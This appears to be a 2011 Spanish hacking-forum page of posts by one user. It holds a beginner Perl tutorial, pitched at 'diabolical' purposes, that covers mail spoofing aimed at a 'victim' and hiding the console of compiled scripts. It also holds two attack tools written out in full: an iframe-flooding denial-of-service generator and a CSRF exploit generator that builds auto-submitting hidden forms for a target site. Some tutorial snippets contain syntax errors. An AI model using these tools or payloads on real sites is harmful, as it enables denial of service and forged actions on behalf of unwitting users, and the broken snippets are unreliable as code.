Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#441
Python / Re:[Python] Simple Keylogger
Julio 04, 2011, 10:17:35 AM
gracias por el comentario sensei  ;)
#442
gracias por comentar xemp , claro que todo no es color de rosa , pues hice la guia apurado por eso
esta incompleta y rara xDD

saludos.
#443
Back-end / Re:[PHP Class] Loginow 0.2 By Doddy H
Julio 04, 2011, 10:06:52 AM
gracias por las sugerencias yoyahack
#444
Perl / [Guia] Perl Forever
Julio 03, 2011, 10:07:22 PM
[Guia] Perl Forever


[Titulo] : Perl Forever
[Autor] : Doddy Hackman


[Temario]

--========================================================--

0x01 : Introduccion
0x02 : Variables y el poder de print
0x03 : Variables argumentales
0x04 : Arrays
0x05 : Hashes
0x06 : Concatenacion
0x07 : Comentarios
0x08 : Entradas de teclado
0x09 : Expresiones regulares
0x10 : Tipos de condiciones
0x11 : if - else
0x12 : elsif
0x13 : while
0x14 : do - until
0x15 : for
0x16 : unless
0x17 : split
0x18 : Funciones
0x19 : Listar directorios y manejo de archivos
0x20 : Sockets
0x21 : Interactuar con la web
0x22 : Descarga de archivos
0x23 : Creando un cliente FTP
0x24 : Creando un keylogger en Perl
0x25 : Listar procesos de Windows
0X26 : Envio de mails en Perl
0x27 : perl2exe
0x28 : Bibliografia


--======================================================--




0x01 : Introduccion


Hola a todos.

Estoy haciendo esta guia sobre perl con los pocos conocimientos que tengo
del mismo todo para inspirar a que mas personas usen perl para propositos diabolicos
Si ven cpan veran que muchos usan perl y ofrecen variados modulos
para cualquier necesidad.
Cabe destacar que mis conocimientos son basicos , por eso uso mas ejemplos que teoria ademas
de no usar un lenguaje tecnico del mismo xDDD

Para ejecutar un script en perl , necesitan active perl si estan en win32 , si estan
en linux este viene por defecto

En el caso de windows , si tenemos el script de perl a ejecutar en un directorio como este

Código: text

c:/scripts


Lo que tenemos que hacer es usar el comando cd de la siguiente manera

Código: text

cd c:/scripts


Como ya estamos en el directorio de los scripts  usamos el comando
perl para cargar el script , el comando perl solo esta cuando ya tenemos perl instalado , pues
este no aparece por accion divina

Código: text

perl simple.pl


Con esto lo cargariamos , pero no pasara nada al menos que el archivo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
tengo algo que no sea nada.
Entonces creamos el archivo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login , para que la extension sea de pl (extension de perl) deben poner la opcion
de "todos los archivos" en el formulario de la creacion de un archivo en notepad

Antes de crearlo debes poner como contenido un simple print

Código: perl

print "hola mundo";


Volvemos a cargar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y veremos un hola mundo.


En el caso de linux

Perl viene instalado por defecto y en el contenido siempre debe tener
esto al inicio del script de lo contrario nunca andaria

#!usr/bin/perl

Despues el tipico hola mundo en el contenido y listo.


0x02 : Variables y el poder de print

Si queremos declarar una variable seria asi

Código: perl

$hola = "hola";


Como ven , para declarar una variable usamos $ y despues el nombre
de la variable , luego usamos el = para poder definir lo que va a contener
la variable $hola , todo el contenido de la variable lo marcamos con comillas

Para poder mostrar la variable seria asi

Código: perl

print $hola


Tambien se puede asi

Código: perl

print "hola $hola";


La variable se mostraria igual pero habria un problema si usaramos
comillas simples en vez de dobles

Código: perl

print 'hola $hola';


Pues las variable $hola no se mostraria

Esa es la diferencia entre comillas simples y comillas dobles .

0x03 : Variables argumentales

La variables argumentales son las tipicas que usan en los exploits
Un ejemplo de como usar las variables argumentales seria asi

Código: perl

my $hola = $ARGV[0];

print $hola;


Entonces si ejecutamos el  script estilo

Código: text

perl script.pl hola


Nos devolveria hola

Si queremos poner dos variables argumentales  seria  asi

Código: perl

my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];

print $hola1 $hola2\n";


Entonces si ejecutamos el script de la sig forma

Código: text

perl script.pl hola hola


El script nos devolveria "hola hola"

Como ven si queremos seguir  usando variables argumentales solo le deberiamos
sumar uno y listo

En el caso de tres variables argumentales

Código: perl

my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];
my $hola3 = $ARGV[2];

print $hola1 $hola2 $hola3\n";


La ejecucion del script seria asi

Código: text

perl script.pl hola hola hola


Un triple hola como respuesta del script

0x04 : Arrays

Los arrays son muy utiles cuando se tiene una lista de datos y los queremos
ver de un forma comoda.
Cuando se declara un array se pone una @ y despues el nombre del array
Despues se pone un igual para establecer los datos que esta va a tener como en este ejemplo

Código: perl

my @vida = ("nada","nada");


Se pueden usar comillas simples como dobles

Para poder mostrarlos a todos seria usando for de la sig forma

Código: perl

for my $d(@vida) {
print $d."\n";
}


Como ven usamos for para abrir el array y mostrar cada dato mediante
la variable $d

Los arrays se pueden ver tambien por numero de orden empezando desde el 0

Código: perl

print @vida[0];  #muestra nada
print @vida[1]; #muestra el segundo dato que tambien es nada


Tambien se pueden mostrar de una de la sig forma

Código: perl

print @vida;


0x05 : Hashes

Los hashes son un tipo de array , el cual esta compuesto por claves que tiene valores ,
esto es util para cuando se requiere cierta informacion sobre un dato

Los hashes se declaran usando un % y despues el nombre del hash

Un ejemplo de hash seria esto

Código: perl

%vida = (
Doddy => "Idiota",
Hackman => "Patetico"
);


Como ven es parecido a los arrays , pero con la poderosa diferencia
de poder establecer una clave (Doddy) y un valor a ella (Idiota)

Si queremos mostrar todo el contenido de un hash seria algo asi:

Código: perl

for my $data(keys %vida) {
print "$data es un ".$vida{$data}."\n";
}


Obviamente abrimos el hashes usando keys , despues mostramos los keys
con la variable $data , despues mostramos los values usando el hash como una variable
normal y encerrando entre corchetes la variable $data que en realidad son las keys que se van
mostrando

Como resultado a esta complicacion insensata y aburrida nos devuelve

Código: text

Doddy es un Idiota
Hackman es un Patetico


0x06 : Concatenacion

La concatenacion se puede usar cuando queremos unir dos variables
Realizar esto se puede hacer de esta forma

Tenemos dos variables

Código: perl

$hola = "hola";
$chau = "chau";


Si queremos unir las dos variables seria usando un "." entre las dos

Código: perl

$todo = $hola.$chau;
print $todo;


Como ven el resultado de esto se guarda en la variable todo para despues
mostrarla

La concatenacion tambien se puede usar cuando estamos con print

Un ejemplo seria este

Código: perl

print $hola." estoy bien pero bueno ".$chau;


Devuelve

Código: text

hola estoy bien pero bueno chau


Como ven se muestran las variables sin ningun problema

0x07 : Comentarios

Los comentarios en perl se pueden usar con #

Un ejemplo seria

Código: perl

#hola


Si en un script real los usamos seria algo asi

Código: perl

#simple hola
print "hola";


Un comentario sirve para dar un comentario xDD , asi van poder dar explicaciones de en que
parte del script esta o que esta por hacer, tambien lo podemos poner al costado del print

Código: perl

print "hola"; #simple hola en el lado derecho


Pero nunca al lado izquierdo porque el print nunca seria leido

0x08 : Entradas de teclado

Esto nos sirve para usar un programa interactivo para el usuario
, en ejemplo de un simple menu seria asi

Código: perl

print "estas bien :";
$rta = <stdin>;

print $rta;


Como ven , capturamos lo que el usuario respondio a la pregunta con
<stdin> y lo guardamos en la variable $rta para despues imprimirla

Tambien podemos usar chop() y chomp()

Con chop() podemos eliminar el ultimo caracter un ejemplo seria asi

Código: perl

$hola = "hola";
chop($hola);
print $hola


Esto nos devolveria

Código: text

hol


Con chomp() podemos hace lo mismo y nos devuelve el numero de caracteres
que se han eliminado

Código: perl

print "estas bien : ";
$c = <stdin>;
$test = chomp $c;
print $test;


Esto nos devolveria 1
   
0x09 : Expresiones regulares

Las expresiones regulares sirven mucho para buscar cierta informacion
en una variable
Entonces tenemos el siguiente ejemplo

Código: perl

my $code = "hola estoy bien";


Si queremos usar expresion regular para saber que hay entre hola y bien podriamos hacer de esta forma

Código: perl

if ($code=~/hola (.*) bien/ig) {
print $1;
}


Entonces si nos ponemos a analizar el codigo podemos ver que
usamos (.*) para sacar cualquier cosa que haya entre hola y bien
Tambien usamos i y g al final de la barra que indica lo que estamos buscando
que sirven para

i : Detecta la palabra en la forma en la que esta , minuscula o mayuscula
g : busca alrededor del texto

Cuando la expresion regular tiene exito podemos sacar el resultado que hay entre (.*) con $1 , en el caso
de que hubiera dos (.*) y el resultado del segundo es el que queremos deberias usar
$2 para sacar lo que queremos.

(.*) : Sirve para buscar cualquier coincidencia que haya , pues hay otras formas en vez de usar este
Pero como estoy dando lo basico no lo vamos a ver

0x10 : Tipos de condiciones

Para poder usar if y las otras funciones de control , debemos tener
en cuenta los tipos de condiciones , hay dos , las variables numericas
estrictas y las que pueden estar compuestas por caracteres alfanumericos

Los primeros son

==  : iGUAl
!= : Diferente
< : menor
> : mayor
>= : mayor o igual
<= : menor o igual

Los segundos son

eq : igual
ne : diferente
lt : menor
gt : mayot
ge : mayor o igual
le : menor o igual

0x11 : if - else

Una forma de controlar el script seria con if y else

Tenemos dos variables

Código: perl

$hola = "hola";
$hola1 =  "hola";


Una forma de controlar que las dos sean iguales seria asi

Código: perl

if ($hola1 == $hola) {
print "bien";
} else {
print "mal";
}


Como ven , controlamos que las dos variables sean iguales mediante ==
Si estas no son iguales nos mostraria "mal" que es la parte de else
.

Otra forma sin usa == seria usando eq

Código: perl

if ($hola1 eq $hola) {
print "bien";
} else {
print "mal";
}


Lo mismo pero en vez de usar == uso eq

eq y == sirven para verificar que dos variables sean iguales

0x12 : elsif

Para controlar que una variable puede ser varias cosas podemos usar
elsif

Un ejemplo seria

Tenemos una variable llamada uno con el valor de 1

Código: perl

$uno = "1";

if ($uno eq "1") {
print "es uno";
}
elsif ($uno eq "2") {
print "es dos";
}
elsif ($uno eq "3") {
print "es tres";
}
else {
print "es nada";
}


Como ven verificamos que que uno sea 1 , si lo es , muestra es uno,
despues usamos elsif para verificar que sea 2 o tres , de lo contrario
si no es nada , muestra es nada.

0x13 : while

Si queremos controlar que cierta cosa este ocurriendo de una forma
podemos usar while()
Su uso es simple , un ejemplo de uso seria este

Tenemos una variable

Código: perl

my $numero = "0";


Que pasa si el numero aumenta y queremos controlar que solo llegue hasta 3

Entonces es el momento de usar a while de la sig forma

Código: perl

while ($numero < 3) {

$numero++; #Aumenta el numero

print "voy bien\n";

}


Si ejecutamos esto veremos que se imprimen tres veces "voy bien"
Funciono !!!

Entonces que pasa si queremos crear una bucle infinito

Seria algo asi

Código: perl

while(true) {
#Nunca morire
}


Esto ocurrira siempre , porque while verificara que siempre sea true xDDD

0x14 : do - until

Bueno , que pasa si queremos que cierta cosa pase hasta cierta condicion
Es la hora de usar do y until

Un ejemplo seria

Código: perl


my $numero = 0;

do {

$numero++;

print $numero."\n";

} until ($numero eq "3");


Entonces , si vemos el codigo , nos damos cuenta de que primero
declaramos la variable $numero con el valor de 0

Para que despues usando do , el numero aumento infinitamente hasta que
until detecte que el numero sea 3

Como resultado el script solo devolvera

Código: text

1
2
3


0x15 : for

Que pasa si queremos que una accion ocurra una cierta cantidad de veces
entonces es cuando usamos la funcion for()
Esta funcion nos permite abrir arrays como recorrer numeros

Si queremos abrir un array seria asi

Código: perl

for my $palabra(@total) {
print $palabra."\n";
}


Entonces abrimos el array @total y vamos recorriendolo mostrando cada dato
con la variable $palabra.

Tambien si queremos recorrer numeros seria asi

Código: perl

for my $numero(1..100) {
print $numero."\n";
}


Entonces recorremos todos los numeros del 1 al 100 y los vamos mostrando
con la variable $numero

Si queremos que una accion ocurra 30 veces podriamos hacer asi

Código: perl

for (1..30) {
print "hola";
}


Entonces , en el codigo hacemos que se impriman 30 veces la palabra hola


Tambien podemos usar foreach() que nos tambien para abrir y mostrar arrays

Código: perl

foreach $word(@words) {
print $word."\n";
}


Es simple abrimos el array y vamos mostrando cada dato mediante la variable
$word.

0x16 : unless

Tambien tenemos a unless , se encargar de verificar justamente todo
lo contrario de if

Un ejemplo seria

Código: perl

$uno = "1";

unless ($uno eq "1") {
print "no es uno";
}


Confuso ? , no es facil verifica justamente que $uno no sea uno , justamente
lo contrario que if.

0x17 : split

Que pasa , si queremos  sacar un ":" de una variable
Es cuando podemos usar a split

Tenemos la tipica variable

Código: perl

my $pa = "hola:chau";


Si queremos separar esas dos palabra podemos usar split

Seria algo asi

Código: perl

@todo = split(":",$pa);
print "@todo[0] y @todo[1]\n";


Como ven este script nos devuelve

Código: text

hola y chau


Si vemos el codigo nos damos cuenta de que usamos la funcion split
para primero poner el ":" que queremos sacar y como segundo ponemos
la variable a la queremos separar
Todo esta funcion se guarda en la variable @todo donde despues la mostramos
como un array cualquiera , claro que esta vez mostramos por posicion de array y no lo
mostramos todo.

Si no entendieron bien como quedo el array miren este ejemplo

Código: perl

@todo = ("hola","chau");


"hola" esta en la posicion 0 porque es la primera en el array y "chau"
como la primera "1"

0x18 : Funciones

Las funciones se pueden usar cuando estamos haciendo una accion repetidamente
Con una funcion podriamos hacer esa accion en una sola vez y reducir codigo
Un ejemplo seria

Código: perl

sub hola {
print $_[0];
}

hola("hola");


Como ven , una funcion comienza con el sub , despues con el nombre del funcion
y finalmente con los corchetes    que indican cuando empiezan y cuando terminan

Las funciones pueden ser llamadas de dos formas :

Código: text

hola("hola");
&hola("hola");


Depende de cada uno como las quiere usar.

Para enviar datos  a una funcion cuando se la llama, se debe en encerrar
entre parentesis  como en el ejemplo anterior que estamos enviando un hola

En la funcion recibimos lo enviado con $_[0] y lo imprimimos

Si hubieran habido dos datos enviados y se espera que la funcion devuelva dos datos seria asi

Código: perl

sub hola {
return ($_[0],$_[1]);
}

$var1,$var2 = hola("hola","chau");


Como ven en el ejemplo anterior , usamos return para enviar datos como
respuesta.
Los datos enviados fueron $_[0] y $_[1] , esto es porque fueron dos variables , si hubiesen sido tres

Código: perl

$_[0] ,$_[1],$_[2]  # Se cuenta a partir del cero


Entonces la funcion nos devuelve con lo que le enviamos.

Para poder ver los datos que la funcion nos devuelve uso dos variables , para guardar los datos que nos devuelve
Si hubiese sido un dato solo uso una variable antes del igual

0x19 : Listar directorios y manejo de archivos

Bien , si queremos listar un directorio y ver sus archivos seria algo asi

Primero abrimos el directorio "/" usando la variable DIR como clave para poder seguir haciendo cosas

Código: perl

opendir DIR,"/";


Guardamos en un array el listado

Código: perl

my @archivos = readdir DIR;


Cerramos el directorio para no seguir usandolo

Código: perl

close DIR;


Ahora abrimos el array y mostramos mediante la variable $files todo lo que haya encontrado en el listado

Código: perl

for my $files(@archivos) {

}


Si queremos saber si es un directorio o un archivo tendriamos que poner esto entre los corchetes del for

Código: perl

if (-f $files) { #Verificamos que sea un archivo
print "[Files] : $files\n";
}

if (-d $files) { #Verificamos que sea un directorio
print "[DIR] : $files\n";
}


Si queremos cambiar de directorio simplemente usamos un chdir()

Código: perl

chdir("C:/xampp");


Y listo , solo ponemos entre parentesis , usando comillas simples o dobles , el nombre del directorio al que nos
queremos cambiar

Una cosa no muy novedosa en perl es el manejo de archivos ...

Si queremos crear un archivo en el directorio actual de script debemos
hacer asi

Código: perl

open (FILE,">>"."yo.txt");


"FILE" es esencial para poder tener contacto en el archivo creado

Para escribir en el archivo podemos usar un print y la variable FILE

Código: perl

print FILE "hola";


Entonces el archivo creado tendra hola en el su contenido

Para cerrar el archivo porque si el script sigue ejecutandose el archivo no podra
ser ejecutado de forma normal

Entonces cerramos el archivo de la siguiente forma

Código: perl

close FILE;


Si queremos leerlo seria asi de facil

Solo ponemos la ruta del archivo a leer y ponemos LEER para poder tener contacto con el archivo

Código: perl

open (LEER,"yo.txt)";


Usamos un array para leer todo lo que hay en el archivo

Código: perl

@text = <LEER>;


Cerramos el archivo

Código: perl

close FILE;


Si queremos leer el archivo usariamos un for my y listo

Código: perl

for my $word(@text) {
print $word."\n";
}


Si odiamos el archivo y queremos borrarlo hacemos esto

Código: perl

unlink("yo.txt");


En la funcion unlink() ponen entre comillas la ruta del archivo a eliminar

0x20 : Sockets

Bien , en perl tambien podemos usar sockets de una forma muy sencilla

Con el modulo

Código: perl

IO::Socket


Podemos establacer conexiones con el puerto que nos venga en gana

Primero llamamos al modulo con use

Código: perl

use IO::Socket;


Para usar esto primero tenes que crear un objeto con la variable $socket

Código: perl

my $socket = IO::Socket::INET->new(
PeerAddr=>"localhost", #Host donde conectarnos
PeerPort=>"80", #Puerto donde bla bla
Proto=>"tcp"); #Protocolo que queremos


Ahora que el objecto esta creado podemos comenzar a usar las funciones
de este modulo.

Con print mandamos los datos que queremos enviar al servidor que estamos conectados de la sig forma

Código: perl

print $socket "GET /"."\r\n";


Usamos \r\n para marcar el fin de los datos a enviar sino ponemos esto
al final siempre se va a tildar la maquina de ustedes porque no marcaron el final

Bien , para ver lo que el host nos respondio podemos hacer de esta forma

Código: perl

read $socket,$total,"1000";

print $total;


En la variable $total tenemos la respuesta para despues imprimirla.

0x21 : Interactuar con la web

Para interactuar con la web podemos usar dos modulos

LWP::UserAgent
HTTP::Request::Common

Primer los llamamos con use

Código: perl

use LWP::UserAgent;
use HTTP::Request::Common;


Despues creamos el objeto necesario para usar las funciones del modulo mediante la variable $nave

Código: perl

my $nave = LWP::UserAgent->new();


Establecemos un timeout

Código: perl

$nave->timeout(5);


Establecemos el agente que vera la pagina a la que entramos

Código: perl

$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");


Establemos la pagina a la que queremos navegar con la variable $web

Código: perl

my $web = "http://www.google.com.ar";


Realizamos la peticion GET y guardamos el contenido en la variable $contenido

Código: perl

my $contenido = $nave->request (GET $web)->content;


Mostramos el contenido

Código: perl

print $contenido;


0x22 : Descarga de archivos

Una cosa interesante de perl es la descarga de archivos tan simple

Con el modulo

LWP::Simple

Podemos hacer descarga con la funcion getstore()

Un ejemplo de esto seria esto

Primero llamamos al modulo

Código: perl

use LWP::Simple;


Despues le ponemos las variables necesarias a los argumentos

Código: perl

my ($url,$file) = ($ARGV[0],$ARGV[1]);


Despues comenzamos la descarga de la siguiente forma

Código: perl

print "[+] Start the download\n";

if (getstore($url,$file)) {
print "[+] Oh Right\n";
} else {
print "[+] Fail\n";
}


Simple , muy simple , entonces si el archivo se descarga nos mostrara
oh right  de lo contrario fail

0x23 : Creando un cliente FTP

Que pasa si queremos crear un cliente FTP en perl , se puede no se puede , pues se puede xDDD

Todo gracias al modulo

Net::FTP

Asi que es hora de empezar

Primero llamamos al modulo

Código: perl

use Net::FTP;


Despues declaramos las variables

Código: perl

$ftp = "localhost";
$user = "yo";
$pass = "si";


Despues verificamos que toda la conexion sea exitosa

Código: perl

if (my $socket = Net::FTP->new($ftp)) {
if ($socket->login($user,$pass)) {
#Todo marcha muy bien xDD
}
}


Como vemos si la conexion es exitosa tendremos el poder con la variable
$socket.

Entonces vamos hacer un pequeño menu de la siguiente forma

Código: perl

menu:

print "comando : ";
chomp(my $comando = <stdin>);

if ($comando=~/cd (.*) {
$socket->cwd($1); #Cambiamos al directorio que la expresion regular marca
}

if ($comando=~/pwd/) {
print $socket->pwd(); #mostramos el directorio actual
}

goto menu;


Con eso tendriamos un cliente basico.

Ustedes se encargaran de poner las funciones que les dicte su corazoN xD

0x25 : Listar procesos de Windows

El otro dia encontre un modulo muy groso en perl para poder usar
procesos como me venga en gana
El modulo se llama

Código: perl

Win32::Process::List


Si tienen perl y lo quieren instalar hagan asi con el comando ppm

Código: perl

ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd


Ahora es cuando comienza la fiesta xDDD

Primero llaman al modulo con "use"

Código: perl

use Win32::Process::List;


Despues con la variable $new creamos lo necesario para poder llamar
a la funcion GetProcesses().
El resultado de la funcion anterior la devolvemos en un odioso hash llamado
%process


Código: perl

my $new = Win32::Process::List->new(); 
my %process = $new->GetProcesses();


Ahora vamos a listar los procesos con sus condenados PID

Código: perl

for my $pid (keys %process) {
print "[+] PrOCESO : ".$process{$pid}."\n";
print "[+] PID: ".$pid."\n\n";
}


Si todo salio bien veremos los procesos de nuestra maquina con el PID de aca uno


Facil ¿No??

0X26 : Envio de mails en Perl

Si queremos enviar mails con perl y no sabemos como , pues eh aqui la solucion.

En perl podemos usar un modulo llamado

Código: perl

Net::SMTP


Entonces ah programar xDD

Primero llamamos el modulo

Código: perl

use Net::SMTP;


Despues creamos cuestionario donde nos pida los datos

Código: perl

print "[+] Your Mail :";
chomp(my $mail = <stdin>);

print "[+] Victim : ";
chomp(my $target = <stdin>);


Ahora creamos lo necesario para poder usar las funciones del modulo

Código: perl

my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");


Con la variable $send llamo al funcion mail() para poner mi email falso

Código: perl

$send->mail($mail);


Nuevamente llamamos a otra funcion llamada to() para poner mi target

Código: perl

send->to($target);   



Ahora lo mas importante el contenido del mensaje

Aunque no hay mucho que decir solo abrimos el contenido y ponemos los datos que seran enviados en el mensaje
Con el asunto de hola y el contenido de chau xDD

Código: perl

$send->data();
$send->datasend("To:".$target."\n"."From:".$mail."\n"."Subject:"."Hola"."\n"."Chau"."\n\n");
$send->dataend();


Luego cerramos la conexion con el servidor SMTP

Código: perl

$send->quit(); 


Creo que eso seria todo , otra cosa necesitan un servidor SMTP para que realmente funcione xDD

0x27 : perl2exe

Si queremos compilar nuestro script en perl , para poder usarlo
en cualquier maquina como un exe cualquiera sin necesidad de que tenga instalado perl
Podriamos usar perl2exe
Simplemente lo buscan en google y les aparece , hay cada uno para cada version de perl
Una vez lo tengan , ejecutamos perl2exe en un consola
Su uso es simple , si queremos compilar un script simplemente ponen el nombre

Código: text

perl2exe script.pl


Si queremos esconderle la consola al script por un motivo cualquiera

Código: text

perl2exe -gui script.pl


0x28 : Bibliografia

Curso de perl by vengador de las sombras
perl a dolor (primera edicion) by ka0s



--================---
¿ The End ?
--================---

#445
Perl / [Perl] Iframe DDos Attack Tool
Julio 03, 2011, 10:06:45 PM
Un simple poc para la los ataques de denegacion de servicio usando
iframes.

Código: perl

#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011

use Cwd;

installer();

sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
}

sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n";
}

sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
}

sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n";
print "[+] Generating files and iframes\n";
print "\n[+] All Save in ".getcwd()."/files/"."\n";
for my $can(1..$files) {
open (POC,">>files/index".$can.".html");
for my $tx(1..$iframe) {
print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
}
close POC;
}
}

head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();

sub installer {
unless (-d "files/") {
mkdir("files/","777");
}}

# ¿ The End ?


Ejemplo de uso

Código: text


C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


[+] Starting the party

[+] Generating files and iframes

[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/


-- == Doddy Hackman 2011

#446
Perl / [Perl] Codificator version consola
Julio 03, 2011, 10:06:35 PM
Un simple codificador

Soportes :


  • Hex encode/decode
  • MD5 encode
  • Base64 encode/decode
  • ASCII encode/decode
  • URL encode/decode


    Código: perl

    #!usr/bin/perl
    #Codificator version consola (C) Doddy Hackman 2011
    #This tool encode in :
    #
    #Hex
    #MD5
    #Base64
    #ASCII
    #URL
    #
    #

    use Digest::MD5;
    use Digest::SHA1;
    use MIME::Base64;
    use URI::Escape;

    sub head {
    system("cls");
    print q(



      @@@            @ @   @ @             @           
    @   @           @    @                @           
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @ 
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @ 
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @ 
      @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @ 



    );
    }

    head();
    print "\n[+] Options\n\n";
    print q(
    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit

    );
    while(true) {
    print "\n\n[+] Option : ";
    chomp(my $op = <stdin>);
    print "\n\n";
    if ($op eq 1) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] MD5 : ".Digest::MD5->md5_hex($string)."\n\n";
    }
    elsif ($op eq 2) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Base64 : ".encode_base64($string);
    }
    elsif ($op eq 3) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Base64 Decode : ".decode_base64($string)."\n";
    }
    elsif ($op eq 4) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Ascii : ".join ',',unpack "U*",$string;
    print "\n";
    }
    elsif ($op eq 5) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Ascii decode : ".join q[], map { chr } split q[,],$string."\n";
    print "\n";
    }
    elsif ($op eq 6) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    $hex = "0x";
    for (split //,$string) {
    $hex .= sprintf "%x", ord;
    }
    print "\n\n[+] Hex : ".$hex."\n";
    }
    elsif ($op eq 7) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    $string =~ s/^0x//;
    $encode = join q[], map { chr hex } $string =~ /../g;
    print "\n\n[+] Hex decode : ".$encode."\n";
    }
    elsif ($op eq 8) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] URL Encode : ".uri_escape($string)."\n";
    }
    elsif ($op eq 9) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] URL Decode : ".uri_unescape($string)."\n";
    }
    elsif ($op eq 10) {
    copyright();
    exit(1);
    }
    else {
    print "[+] Write good stupid !\n";
    }
    }

    sub copyright {
    print "\n-- == Doddy Hackman 2011 == --\n\n";
    }

    # ¿The End ?


    Ejemplo de uso


    Código: text





      @@@            @ @   @ @             @
    @   @           @    @                @
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @
      @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @




    [+] Options


    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit



    [+] Option :
#447
Perl / [Perl] CSRF T00l
Julio 03, 2011, 10:06:21 PM
Una simple herramienta para ahorrar trabajo en la creacion de un exploit
para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado
en una carpeta creada con el programa con el nombre de la web.

Código: perl

#!usr/bin/perl
#CSRF T00l (C) Doddy Hackman 2011

use HTML::Form;
use URI::Split qw(uri_split);

installer();

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {

unless(-f $_[0]) {
print "\n[-] File Not Found\n";
copyright();
}

print "\n[+] File to parse : ".$_[0]."\n\n";

open(FILE,$_[0]);
my $words = join q(),<FILE>;
close(FILE);

my @testar = HTML::Form->parse($words,"/");

$count = 0;
foreach my $test(@testar) {
$count++;
print "\n\n -- == Form $count == --\n\n";
if ($test->attr(name) eq "") {
print "[+] Name : No Found"."\n";
} else {
print "[+] Name : ".$test->attr(name)."\n";
}
print "[+] Action : ".$test->action."\n"; 
print "[+] Method : ".$test->method."\n";
print "\n-- == Input == --\n\n";
@inputs = $test->inputs;
print "Type\t\tName\t\tValue\n";
foreach $in(@inputs) {
print $in->type."\t\t";
print $in->name."\t\t";
print $in->value."\t\t\n";
}

print "\n\n[+] Form to generate : ";
chomp(my $op = <stdin>);
if ($op ne "") {
$op--;
my $probar = (HTML::Form->parse($words,"/"))[$op];

my $action = ver($words,$op);
my $fin = nombre($action).".html";
savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
@input = $probar->inputs;
foreach $in(@input) {
print "\n[+] Value of the ".$in->name." : ";
chomp(my $val = <stdin>);
savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
}
my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
</script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
";
savefile($final,$fin);
print "\n\n[+] CSRF Exploit Generated\n\n";
print "[+] To can see in logscsrf/".$fin."\n\n";
}
}

sub ver {
my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
my $action = $probar->action;
my $co = $action;
if ($action eq "" or $action eq "/"){
print "\n\n[+] Action : ";
chomp(my $action = <stdin>);
return $action;
} else {
return $co;
}
}

sub installer {
unless (-d "logs_csrf/") {
mkdir("logs_csrf/","777");
}}

sub nombre {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub savefile {
open (SAVE,">>logs_csrf/".$_[1]);
print SAVE $_[0]."\n";
close SAVE;
}

sub sintax {
print "\n[+] sintax : $0 <file>\n";
}

sub head {
print "\n\n -- == CSRF T00l == --\n\n";
}

sub copyright {
print "\n\n -- == Doddy Hackman 2011 == --\n\n";
exit(1);
}

# ¿ The End ?


Ejemplo de uso

Código: text


C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\CSRF Tool>tool.pl read.txt


